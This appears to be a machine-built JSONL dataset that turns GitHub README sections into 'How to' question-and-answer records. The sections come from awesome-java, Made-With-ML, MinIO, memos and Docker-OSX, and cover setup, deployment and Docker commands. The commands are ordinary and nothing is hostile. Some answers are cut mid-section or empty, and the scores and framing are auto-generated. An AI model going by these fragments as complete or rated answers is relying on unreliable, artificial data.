{"id": "gh_cdd188011a9d", "question": "How to: Podcasts and Screencasts", "question_body": "About akullpp/awesome-java", "answer": "_Something to look at or listen to while programming._\n\n- [140 Second Ducklings](https://twitter.com/debugagent/status/1491075324805001219) - Short videos on Twitter explaining Java debugging in depth.\n- [A Bootiful Podcast](https://bootifulpodcast.fm)\n- [Foojay Podcast](https://foojay.io/today/category/podcast/)\n- [Inside Java](https://inside.java/podcast) (Official)\n- [Java Off Heap](http://www.javaoffheap.com)\n- [The Java Posse](http://www.javaposse.com) - Discontinued as of 02/2015.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916318"}
{"id": "gh_09fdd9a861d7", "question": "How to: Contributing", "question_body": "About akullpp/awesome-java", "answer": "Contributions are very welcome!\n\nPlease have a look at the [CONTRIBUTING](https://github.com/akullpp/awesome-java/blob/master/CONTRIBUTING.md) guidelines and [the validation tools](https://github.com/akullpp/awesome-java-lint).\n\n[c]: https://cdn.rawgit.com/akullpp/23246ca832bda82bb505230bf3538e2a/raw/d9bcdb769bf025292f9c6bc1290f01f1fcd1f864/commercial.svg", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916327"}
{"id": "gh_7ff693f14cb9", "question": "How to: Inside .env", "question_body": "About GokuMohandas/Made-With-ML", "answer": "GITHUB_USERNAME=\"CHANGE_THIS_TO_YOUR_USERNAME\"  # ← CHANGE THIS\n```\n```bash\nsource .env\n```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421139"}
{"id": "gh_776af5ca732b", "question": "How to: Virtual environment", "question_body": "About GokuMohandas/Made-With-ML", "answer": "Local\n```bash\n  export PYTHONPATH=$PYTHONPATH:$PWD\n  python3 -m venv venv  # recommend using Python 3.10\n  source venv/bin/activate  # on Windows: venv\\Scripts\\activate\n  python3 -m pip install --upgrade pip setuptools wheel\n  python3 -m pip install -r requirements.txt\n  pre-commit install\n  pre-commit autoupdate\n  ```\n\n  > Highly recommend using Python `3.10` and using [pyenv](https://github.com/pyenv/pyenv) (mac) or [pyenv-win](https://github.com/pyenv-win/pyenv-win) (windows).\nAnyscale\nOur environment with the appropriate Python version and libraries is already all set for us through the cluster environment we used when setting up our Anyscale Workspace. So we just need to run these commands:\n  ```bash\n  export PYTHONPATH=$PYTHONPATH:$PWD\n  pre-commit install\n  pre-commit autoupdate\n  ```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421156"}
{"id": "gh_7ea37ca8f406", "question": "How to: Experiment tracking", "question_body": "About GokuMohandas/Made-With-ML", "answer": "We'll use [MLflow](https://mlflow.org/) to track our experiments and store our models and the [MLflow Tracking UI](https://www.mlflow.org/docs/latest/tracking.html#tracking-ui) to view our experiments. We have been saving our experiments to a local directory but note that in an actual production setting, we would have a central location to store all of our experiments. It's easy/inexpensive to spin up your own MLflow server for all of your team members to track their experiments on or use a managed solution like [Weights & Biases](https://wandb.ai/site), [Comet](https://www.comet.ml/), etc.\n\n```bash\nexport MODEL_REGISTRY=$(python -c \"from madewithml import config; print(config.MODEL_REGISTRY)\")\nmlflow server -h 0.0.0.0 -p 8080 --backend-store-uri $MODEL_REGISTRY\n```\nLocal\nIf you're running this notebook on your local laptop then head on over to\nhttp://localhost:8080/\nto view your MLflow dashboard.\nAnyscale\nIf you're on\nAnyscale Workspaces\n, then we need to first expose the port of the MLflow server. Run the following command on your Anyscale Workspace terminal to generate the public URL to your MLflow server.\n\n  ```bash\n  APP_PORT=8080\n  echo https://$APP_PORT-port-$ANYSCALE_SESSION_DOMAIN\n  ```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421171"}
{"id": "gh_621fbac180c5", "question": "How to: Evaluation", "question_body": "About GokuMohandas/Made-With-ML", "answer": "```bash\nexport EXPERIMENT_NAME=\"llm\"\nexport RUN_ID=$(python madewithml/predict.py get-best-run-id --experiment-name $EXPERIMENT_NAME --metric val_loss --mode ASC)\nexport HOLDOUT_LOC=\"https://raw.githubusercontent.com/GokuMohandas/Made-With-ML/main/datasets/holdout.csv\"\npython madewithml/evaluate.py \\\n    --run-id $RUN_ID \\\n    --dataset-loc $HOLDOUT_LOC \\\n    --results-fp results/evaluation_results.json\n```\n```json\n{\n  \"timestamp\": \"June 09, 2023 09:26:18 AM\",\n  \"run_id\": \"6149e3fec8d24f1492d4a4cabd5c06f6\",\n  \"overall\": {\n    \"precision\": 0.9076136428670714,\n    \"recall\": 0.9057591623036649,\n    \"f1\": 0.9046792827719773,\n    \"num_samples\": 191.0\n  },\n...\n```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421179"}
{"id": "gh_d9b4a89bfe0a", "question": "How to: Production", "question_body": "About GokuMohandas/Made-With-ML", "answer": "From this point onwards, in order to deploy our application into production, we'll need to either be on Anyscale or on a [cloud VM](https://docs.ray.io/en/latest/cluster/vms/index.html#cloud-vm-index) / [on-prem](https://docs.ray.io/en/latest/cluster/vms/user-guides/launching-clusters/on-premises.html#on-prem) cluster you manage yourself (w/ Ray). If not on Anyscale, the commands will be [slightly different](https://docs.ray.io/en/latest/cluster/running-applications/job-submission/index.html) but the concepts will be the same.\n\n> If you don't want to set up all of this yourself, we highly recommend joining our [upcoming live cohort](https://4190urw86oh.typeform.com/madewithml){:target=\"_blank\"} where we'll provide an environment with all of this infrastructure already set up for you so that you just focused on the machine learning.", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 45822, "answer_score": 10, "has_code": false, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421193"}
{"id": "gh_d5794527cae4", "question": "How to: Authentication", "question_body": "About GokuMohandas/Made-With-ML", "answer": "These credentials below are **automatically** set for us if we're using Anyscale Workspaces. We **do not** need to set these credentials explicitly on Workspaces but we do if we're running this locally or on a cluster outside of where our Anyscale Jobs and Services are configured to run.\n\n``` bash\nexport ANYSCALE_HOST=https://console.anyscale.com\nexport ANYSCALE_CLI_TOKEN=$YOUR_CLI_TOKEN  # retrieved from Anyscale credentials page\n```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421199"}
{"id": "gh_4dc8a0e622d6", "question": "How to: Cluster environment", "question_body": "About GokuMohandas/Made-With-ML", "answer": "The cluster environment determines **where** our workloads will be executed (OS, dependencies, etc.) We've already created this [cluster environment](./deploy/cluster_env.yaml) for us but this is how we can create/update one ourselves.\n\n```bash\nexport CLUSTER_ENV_NAME=\"madewithml-cluster-env\"\nanyscale cluster-env build deploy/cluster_env.yaml --name $CLUSTER_ENV_NAME\n```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421205"}
{"id": "gh_8f8ecdd7afd0", "question": "How to: Compute configuration", "question_body": "About GokuMohandas/Made-With-ML", "answer": "The compute configuration determines **what** resources our workloads will be executes on. We've already created this [compute configuration](./deploy/cluster_compute.yaml) for us but this is how we can create it ourselves.\n\n```bash\nexport CLUSTER_COMPUTE_NAME=\"madewithml-cluster-compute-g5.4xlarge\"\nanyscale cluster-compute create deploy/cluster_compute.yaml --name $CLUSTER_COMPUTE_NAME\n```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421210"}
{"id": "gh_cfc22d29150a", "question": "How to: Anyscale jobs", "question_body": "About GokuMohandas/Made-With-ML", "answer": "Now we're ready to execute our ML workloads. We've decided to combine them all together into one [job](./deploy/jobs/workloads.yaml) but we could have also created separate jobs for each workload (train, evaluate, etc.) We'll start by editing the `$GITHUB_USERNAME` slots inside our [`workloads.yaml`](./deploy/jobs/workloads.yaml) file:\n```yaml\nruntime_env:\n  working_dir: .\n  upload_path: s3://madewithml/$GITHUB_USERNAME/jobs  # <--- CHANGE USERNAME (case-sensitive)\n  env_vars:\n    GITHUB_USERNAME: $GITHUB_USERNAME  # <--- CHANGE USERNAME (case-sensitive)\n```\n\nThe `runtime_env` here specifies that we should upload our current `working_dir` to an S3 bucket so that all of our workers when we execute an Anyscale Job have access to the code to use. The `GITHUB_USERNAME` is used later to save results from our workloads to S3 so that we can retrieve them later (ex. for serving).\n\nNow we're ready to submit our job to execute our ML workloads:\n```bash\nanyscale job submit deploy/jobs/workloads.yaml\n```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421218"}
{"id": "gh_262d80c4ed24", "question": "How to: Anyscale Services", "question_body": "About GokuMohandas/Made-With-ML", "answer": "And after our ML workloads have been executed, we're ready to launch our serve our model to production. Similar to our Anyscale Jobs configs, be sure to change the `$GITHUB_USERNAME` in [`serve_model.yaml`](./deploy/services/serve_model.yaml).\n\n```yaml\nray_serve_config:\n  import_path: deploy.services.serve_model:entrypoint\n  runtime_env:\n    working_dir: .\n    upload_path: s3://madewithml/$GITHUB_USERNAME/services  # <--- CHANGE USERNAME (case-sensitive)\n    env_vars:\n      GITHUB_USERNAME: $GITHUB_USERNAME  # <--- CHANGE USERNAME (case-sensitive)\n```\n\nNow we're ready to launch our service:\n```bash", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421224"}
{"id": "gh_bad2444c1384", "question": "How to: Rollout service", "question_body": "About GokuMohandas/Made-With-ML", "answer": "anyscale service rollout -f deploy/services/serve_model.yaml", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 45822, "answer_score": 10, "has_code": false, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421229"}
{"id": "gh_fa15d7fd1afb", "question": "How to: Rollback (to previous version of the Service)", "question_body": "About GokuMohandas/Made-With-ML", "answer": "anyscale service rollback -f $SERVICE_CONFIG --name $SERVICE_NAME", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 45822, "answer_score": 10, "has_code": false, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421235"}
{"id": "gh_94732c83a815", "question": "How to: Continual learning", "question_body": "About GokuMohandas/Made-With-ML", "answer": "With our CI/CD workflow in place to deploy our application, we can now focus on continually improving our model. It becomes really easy to extend on this foundation to connect to scheduled runs (cron), [data pipelines](https://madewithml.com/courses/mlops/data-engineering/), drift detected through [monitoring](https://madewithml.com/courses/mlops/monitoring/), [online evaluation](https://madewithml.com/courses/mlops/evaluation/#online-evaluation), etc. And we can easily add additional context such as comparing any experiment with what's currently in production (directly in the PR even), etc.", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 45822, "answer_score": 10, "has_code": false, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421246"}
{"id": "gh_341803e55d83", "question": "How to: Jupyter notebook kernels", "question_body": "About GokuMohandas/Made-With-ML", "answer": "Issues with configuring the notebooks with jupyter? By default, jupyter will use the kernel with our virtual environment but we can also manually add it to jupyter:\n```bash\npython3 -m ipykernel install --user --name=venv\n```\nNow we can open up a notebook → Kernel (top menu bar) → Change Kernel → `venv`. To ever delete this kernel, we can do the following:\n```bash\njupyter kernelspec list\njupyter kernelspec uninstall venv\n```", "tags": ["GokuMohandas"], "source": "github_gists", "category": "GokuMohandas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 45822, "answer_score": 10, "has_code": true, "url": "https://github.com/GokuMohandas/Made-With-ML", "collected_at": "2026-01-16T23:30:09.421254"}
{"id": "gh_88c9aca1195e", "question": "How to: MinIO Quickstart Guide", "question_body": "About minio/minio", "answer": "[![Slack](https://slack.min.io/slack?type=svg)](https://slack.min.io) [![Docker Pulls](https://img.shields.io/docker/pulls/minio/minio.svg?maxAge=604800)](https://hub.docker.com/r/minio/minio/) [![license](https://img.shields.io/badge/license-AGPL%20V3-blue)](https://github.com/minio/minio/blob/master/LICENSE)\n\n[![MinIO](https://raw.githubusercontent.com/minio/minio/master/.github/logo.svg?sanitize=true)](https://min.io)\n\nMinIO is a high-performance, S3-compatible object storage solution released under the GNU AGPL v3.0 license.\nDesigned for speed and scalability, it powers AI/ML, analytics, and data-intensive workloads with industry-leading performance.\n\n- S3 API Compatible – Seamless integration with existing S3 tools\n- Built for AI & Analytics – Optimized for large-scale data pipelines\n- High Performance – Ideal for demanding storage workloads.\n\nThis README provides instructions for building MinIO from source and deploying onto baremetal hardware.\nUse the [MinIO Documentation](https://github.com/minio/docs) project to build and host a local copy of the documentation.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584514"}
{"id": "gh_16b09a6547e1", "question": "How to: MinIO is Open Source Software", "question_body": "About minio/minio", "answer": "We designed MinIO as Open Source software for the Open Source software community. We encourage the community to remix, redesign, and reshare MinIO under the terms of the AGPLv3 license.\n\nAll usage of MinIO in your application stack requires validation against AGPLv3 obligations, which include but are not limited to the release of modified code to the community from which you have benefited. Any commercial/proprietary usage of the AGPLv3 software, including repackaging or reselling services/features, is done at your own risk.\n\nThe AGPLv3 provides no obligation by any party to support, maintain, or warranty the original or any modified work.\nAll support is provided on a best-effort basis through Github and our [Slack](https//slack.min.io) channel, and any member of the community is welcome to contribute and assist others in their usage of the software.\n\nMinIO [AIStor](https://www.min.io/product/aistor) includes enterprise-grade support and licensing for workloads which require commercial or proprietary usage and production-level SLA/SLO-backed support. For more information, [reach out for a quote](https://min.io/pricing).", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584528"}
{"id": "gh_658e9bdfd519", "question": "How to: Source-Only Distribution", "question_body": "About minio/minio", "answer": "**Important:** The MinIO community edition is now distributed as source code only. We will no longer provide pre-compiled binary releases for the community version.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584533"}
{"id": "gh_f51e2f736777", "question": "How to: Installing Latest MinIO Community Edition", "question_body": "About minio/minio", "answer": "To use MinIO community edition, you have two options:\n\n1. **Install from source** using `go install github.com/minio/minio@latest` (recommended)\n2. **Build a Docker image** from the provided Dockerfile\n\nSee the sections below for detailed instructions on each method.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584538"}
{"id": "gh_88e34433ead6", "question": "How to: Legacy Binary Releases", "question_body": "About minio/minio", "answer": "Historical pre-compiled binary releases remain available for reference but are no longer maintained:\n- GitHub Releases: https://github.com/minio/minio/releases\n- Direct downloads: https://dl.min.io/server/minio/release/\n\n**These legacy binaries will not receive updates.** We strongly recommend using source builds for access to the latest features, bug fixes, and security updates.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584543"}
{"id": "gh_4617e767cbe4", "question": "How to: Install from Source", "question_body": "About minio/minio", "answer": "Use the following commands to compile and run a standalone MinIO server from source.\nIf you do not have a working Golang environment, please follow [How to install Golang](https://golang.org/doc/install). Minimum version required is [go1.24](https://golang.org/dl/#stable)\n\n```sh\ngo install github.com/minio/minio@latest\n```\n\nYou can alternatively run `go build` and use the `GOOS` and `GOARCH` environment variables to control the OS and architecture target.\nFor example:\n\n```\nenv GOOS=linux GOARCh=arm64 go build\n```\n\nStart MinIO by running `minio server PATH` where `PATH` is any empty folder on your local filesystem.\n\nThe MinIO deployment starts using default root credentials `minioadmin:minioadmin`.\nYou can test the deployment using the MinIO Console, an embedded web-based object browser built into MinIO Server.\nPoint a web browser running on the host machine to\nand log in with the root credentials.\nYou can use the Browser to create buckets, upload objects, and browse the contents of the MinIO server.\n\nYou can also connect using any S3-compatible tool, such as the MinIO Client `mc` commandline tool:\n\n```sh\nmc alias set local http://localhost:9000 minioadmin minioadmin\nmc admin info local\n```\n\nSee [Test using MinIO Client `mc`](#test-using-minio-client-mc) for more information on using the `mc` commandline tool.\nFor application developers, see\nto view MinIO SDKs for supported languages.\n\n> [!NOTE]\n> Production environments using compiled-from-source MinIO binaries do so at their own risk.\n> The AGPLv3 license provides no warranties nor liabilites for any such usage.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 59794, "answer_score": 10, "has_code": true, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584551"}
{"id": "gh_1d118165270d", "question": "How to: Build Docker Image", "question_body": "About minio/minio", "answer": "You can use the `docker build .` command to build a Docker image on your local host machine.\nYou must first [build MinIO](#install-from-source) and ensure the `minio` binary exists in the project root.\n\nThe following command builds the Docker image using the default `Dockerfile` in the root project directory with the repository and image tag `myminio:minio`\n\n```sh\ndocker build -t myminio:minio .\n```\n\nUse `docker image ls` to confirm the image exists in your local repository.\nYou can run the server using standard Docker invocation:\n\n```sh\ndocker run -p 9000:9000 -p 9001:9001 myminio:minio server /tmp/minio --console-address :9001\n```\n\nComplete documentation for building Docker containers, managing custom images, or loading images into orchestration platforms is out of scope for this documentation.\nYou can modify the `Dockerfile` and `dockerscripts/docker-entrypoint.sh` as-needed to reflect your specific image requirements.\n\nSee the [MinIO Container](https://docs.min.io/community/minio-object-store/operations/deployments/baremetal-deploy-minio-as-a-container.html#deploy-minio-container) documentation for more guidance on running MinIO within a Container image.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 59794, "answer_score": 10, "has_code": true, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584557"}
{"id": "gh_23e48665e0b4", "question": "How to: Install using Helm Charts", "question_body": "About minio/minio", "answer": "There are two paths for installing MinIO onto Kubernetes infrastructure:\n\n- Use the [MinIO Operator](https://github.com/minio/operator)\n- Use the community-maintained [Helm charts](https://github.com/minio/minio/tree/master/helm/minio)\n\nSee the [MinIO Documentation](https://docs.min.io/community/minio-object-store/operations/deployments/kubernetes.html) for guidance on deploying using the Operator.\nThe Community Helm chart has instructions in the folder-level README.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584562"}
{"id": "gh_16522c5fdcf3", "question": "How to: Test using MinIO Console", "question_body": "About minio/minio", "answer": "MinIO Server comes with an embedded web based object browser.\nPoint your web browser to\nto ensure your server has started successfully.\n\n> [!NOTE]\n> MinIO runs console on random port by default, if you wish to choose a specific port use `--console-address` to pick a specific interface and port.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584567"}
{"id": "gh_f888c91b3c24", "question": "How to: Test using MinIO Client `mc`", "question_body": "About minio/minio", "answer": "`mc` provides a modern alternative to UNIX commands like ls, cat, cp, mirror, diff etc. It supports filesystems and Amazon S3 compatible cloud storage services.\n\nThe following commands set a local alias, validate the server information, create a bucket, copy data to that bucket, and list the contents of the bucket.\n\n```sh\nmc alias set local http://localhost:9000 minioadmin minioadmin\nmc admin info\nmc mb data\nmc cp ~/Downloads/mydata data/\nmc ls data/\n```\n\nFollow the MinIO Client [Quickstart Guide](https://docs.min.io/community/minio-object-store/reference/minio-mc.html#quickstart) for further instructions.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 59794, "answer_score": 10, "has_code": true, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584573"}
{"id": "gh_d0414fa3266f", "question": "How to: Explore Further", "question_body": "About minio/minio", "answer": "- [The MinIO documentation website](https://docs.min.io/community/minio-object-store/index.html)\n- [MinIO Erasure Code Overview](https://docs.min.io/community/minio-object-store/operations/concepts/erasure-coding.html)\n- [Use `mc` with MinIO Server](https://docs.min.io/community/minio-object-store/reference/minio-mc.html)\n- [Use `minio-go` SDK with MinIO Server](https://docs.min.io/enterprise/aistor-object-store/developers/sdk/go/)", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584578"}
{"id": "gh_e663af1e7c0d", "question": "How to: Contribute to MinIO Project", "question_body": "About minio/minio", "answer": "Please follow MinIO [Contributor's Guide](https://github.com/minio/minio/blob/master/CONTRIBUTING.md) for guidance on making new contributions to the repository.", "tags": ["minio"], "source": "github_gists", "category": "minio", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 59794, "answer_score": 10, "has_code": false, "url": "https://github.com/minio/minio", "collected_at": "2026-01-16T23:30:20.584582"}
{"id": "gh_45e015ba5b46", "question": "How to: 💎 Featured Sponsors", "question_body": "About usememos/memos", "answer": "[**Warp** — The AI-powered terminal built for speed and collaboration](https://go.warp.dev/memos)\n---\n\n[**LambdaTest** - Cross-browser testing cloud](https://www.lambdatest.com/?utm_source=memos&utm_medium=sponsor)", "tags": ["usememos"], "source": "github_gists", "category": "usememos", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 54465, "answer_score": 10, "has_code": false, "url": "https://github.com/usememos/memos", "collected_at": "2026-01-16T23:30:22.104988"}
{"id": "gh_4c7b0aac511a", "question": "How to: Docker (Recommended)", "question_body": "About usememos/memos", "answer": "```bash\ndocker run -d \\\n  --name memos \\\n  -p 5230:5230 \\\n  -v ~/.memos:/var/opt/memos \\\n  neosmemo/memos:stable\n```\n\nOpen `http://localhost:5230` and start writing!", "tags": ["usememos"], "source": "github_gists", "category": "usememos", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 54465, "answer_score": 10, "has_code": true, "url": "https://github.com/usememos/memos", "collected_at": "2026-01-16T23:30:22.105005"}
{"id": "gh_178d3bb3f766", "question": "How to: Try the Live Demo", "question_body": "About usememos/memos", "answer": "Don't want to install yet? Try our [live demo](https://demo.usememos.com/) first!", "tags": ["usememos"], "source": "github_gists", "category": "usememos", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 54465, "answer_score": 10, "has_code": false, "url": "https://github.com/usememos/memos", "collected_at": "2026-01-16T23:30:22.105010"}
{"id": "gh_697df2b1fb28", "question": "How to: Other Installation Methods", "question_body": "About usememos/memos", "answer": "- **Docker Compose** - Recommended for production deployments\n- **Pre-built Binaries** - Available for Linux, macOS, and Windows\n- **Kubernetes** - Helm charts and manifests available\n- **Build from Source** - For development and customization\n\nSee our [installation guide](https://usememos.com/docs/installation) for detailed instructions.", "tags": ["usememos"], "source": "github_gists", "category": "usememos", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 54465, "answer_score": 10, "has_code": false, "url": "https://github.com/usememos/memos", "collected_at": "2026-01-16T23:30:22.105015"}
{"id": "gh_e9c99c4cbbcf", "question": "How to: Contributing", "question_body": "About usememos/memos", "answer": "We welcome contributions of all kinds! Whether you're fixing bugs, adding features, improving documentation, or helping with translations — every contribution matters.\n\n**Ways to contribute:**\n\n- 🐛 [Report bugs](https://github.com/usememos/memos/issues/new?template=bug_report.md)\n- 💡 [Suggest features](https://github.com/usememos/memos/issues/new?template=feature_request.md)\n- 🔧 [Submit pull requests](https://github.com/usememos/memos/pulls)\n- 📖 [Improve documentation](https://github.com/usememos/memos/tree/main/docs)\n- 🌍 [Help with translations](https://github.com/usememos/memos/tree/main/web/src/locales)", "tags": ["usememos"], "source": "github_gists", "category": "usememos", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 54465, "answer_score": 10, "has_code": false, "url": "https://github.com/usememos/memos", "collected_at": "2026-01-16T23:30:22.105023"}
{"id": "gh_b0db07f29c51", "question": "How to: Star History", "question_body": "About usememos/memos", "answer": "[![Star History Chart](https://api.star-history.com/svg?repos=usememos/memos&type=Date)](https://star-history.com/#usememos/memos&Date)", "tags": ["usememos"], "source": "github_gists", "category": "usememos", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 54465, "answer_score": 10, "has_code": false, "url": "https://github.com/usememos/memos", "collected_at": "2026-01-16T23:30:22.105027"}
{"id": "gh_cd794dfac86c", "question": "How to: Privacy Policy", "question_body": "About usememos/memos", "answer": "Memos is built with privacy as a core principle. As a self-hosted application, all your data stays on your infrastructure. There is no telemetry, no tracking, and no data collection. See our [Privacy Policy](https://usememos.com/privacy) for details.\n\n---\n\n**[Website](https://usememos.com)** • **[Documentation](https://usememos.com/docs)** • **[Demo](https://demo.usememos.com/)** • **[Discord](https://discord.gg/tfPJa4UmAv)** • **[X/Twitter](https://x.com/usememos)**", "tags": ["usememos"], "source": "github_gists", "category": "usememos", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 54465, "answer_score": 10, "has_code": false, "url": "https://github.com/usememos/memos", "collected_at": "2026-01-16T23:30:22.105035"}
{"id": "gh_b5484b850da8", "question": "How to: Docker-OSX now has a Discord server & Telegram!", "question_body": "About sickcodes/Docker-OSX", "answer": "The Discord is active on #docker-osx and anyone is welcome to come and ask questions, ideas, etc.", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846156"}
{"id": "gh_f632513b2f25", "question": "How to: Click to join the Telegram server [https://t.me/sickcodeschat](https://t.me/sickcodeschat)", "question_body": "About sickcodes/Docker-OSX", "answer": "Or reach out via Linkedin if it's private: [https://www.linkedin.com/in/sickcodes](https://www.linkedin.com/in/sickcodes)\n\nOr via [https://sick.codes/contact/](https://sick.codes/contact/)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846170"}
{"id": "gh_e370abf71645", "question": "How to: docker build -t docker-osx .", "question_body": "About sickcodes/Docker-OSX", "answer": "", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846195"}
{"id": "gh_364da2db2cfe", "question": "How to: boot directly into a real OS X shell with a visual display [NOT HEADLESS]", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e GENERATE_UNIQUE=true \\\n    sickcodes/docker-osx:auto", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846201"}
